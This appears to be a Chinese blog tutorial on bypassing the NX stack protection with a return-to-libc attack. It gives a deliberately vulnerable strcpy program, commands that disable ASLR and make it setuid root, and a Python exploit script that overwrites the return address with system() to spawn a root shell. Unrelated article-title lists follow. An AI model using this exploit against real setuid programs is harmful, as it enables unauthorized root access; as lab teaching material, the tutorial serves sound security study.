(1)原理:

“NX Bit”的漏洞缓解:使某些内存区域不可执行,并使可执行区域不可写。示例:使数据,堆栈和堆段不可执行,而代码段不可写。

在NX bit打开的情况下,基于堆栈的缓冲区溢出的经典方法将无法利用此漏洞。因为在经典的方法中,shellcode被复制到堆栈中,返回地址指向shellcode。但是现在由于堆栈不再可执行,我们的漏洞利用失败!但是这种缓解技术并不完全是万无一失的,使用叫做“return-to-libc”的攻击技术绕过NX bit。这里返回地址被一个特定的libc函数地址覆盖(而不是包含shellcode的堆栈地址)。例如,如果攻击者想要生成一个shell,那么他将使用system()地址覆盖返回地址,并在堆栈中设置system()所需的相应参数,以便成功调用它。

(2)源代码

//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256]; /* [1] */
strcpy(buf,argv[1]); /* [2] */
printf("%s\n",buf); /* [3] */
fflush(stdout); /* [4] */
return 0;
}

(3)编译

先关闭ASLR地址空间随机化,“-z execstack”参数不传递给gcc,因此现在堆栈是非可执行的

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
gcc -g -fno-stack-protector -o vuln vuln.c
sudo chown root vuln
sudo chgrp root vuln
sudo chmod +s vuln

堆栈段只包含RW标志,无E标志,不可执行

(4)攻击代码:

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
system = 0xb7e60430
exit = 0xb7e53fb0
binsh_arg = 0xb7f82d98

def conv(num):
return struct.pack("<I",num)
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(binsh_arg)
print "Calling vulnerable program"
call(["./vuln", buf])

用gdb调试找到sytem和exit,bin/sh的地址。其中system的地址覆盖返回地址。

(5)执行攻击程序,获得root shell。

(6)在实际应用中,root setuid程序会采用最小权限的原则,在用户输入之前删除用户获得的root权限,所以只能获得普通用户权限

漏洞代码:

//vuln_priv.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
seteuid(getuid()); /* Temporarily drop privileges */
strcpy(buf,argv[1]);
printf("%s\n",buf);
fflush(stdout);
return 0;
}

用上述方法获得攻击代码,执行攻击程序只能获得普通用户权限

原创作者提示:执行程序调用system,随后退出,发现它不足以获取root shell。但是如果我们的利用代码(exp_priv.py)被修改为调用以下libc函数(按照列出的顺序)

seteuid(0)

system(“sh”)

exit()

我们将获得root shell。这种技术被称为链接到libc!

(我不会)

最新文章

  1. ABAP单元测试最佳实践
  2. Des与3Des加密解密
  3. 实现一个纵向排列的 ListBox ,并具有操作按钮
  4. Nginx 遇到的问题
  5. JAVA生成二维码图片代码
  6. jquery的扩展之extend函数
  7. iOS - UIImageView
  8. 转自 void- man 差分约束系统详解
  9. poj 3281 Dining【拆点网络流】
  10. sql脚本的格式
  11. Static Final用法
  12. 英文版Ubuntu 安装中文输入法
  13. 适合入门自学服装裁剪滴书(更新ing)
  14. EasyUI tree扩展获取实心节点
  15. 使用ActionBarActivity或者RxAppCompatActivity或者AppCompatActivity闪退的问题
  16. C#采用rabbitMQ搭建分布式日志系统
  17. 学习笔记-JS公开课二
  18. Zabbix监控Tomcat案例
  19. SQL Fundamentals: Basic SELECT statement基本的select语句(控制操作的现实列)(FROM-SELECT)
  20. nodeJs的npm报错问题

热门文章

  1. 1628:X-factor Chain
  2. scrapy框架之log日志
  3. Echarts案例-柱状图
  4. apipost 调试微信公众号 小程序,秒生成文档工具
  5. Java并发概念-2
  6. elasticsearch shield(5.0以下版本 权限认证)
  7. arcpy 获得是否为布局mxd.activeView
  8. win10系统搭建vagrant时开启bios,虚拟化问题
  9. Mac下持续集成-与JMeter与Ant执行后自动发送邮件的整合+定时任务
  10. 属性 每秒10万吞吐 并发 架构 设计 58最核心的帖子中心服务IMC 类目服务 入口层是Java研发的,聚合层与检索层都是C语言研发的 电商系统里的SKU扩展服务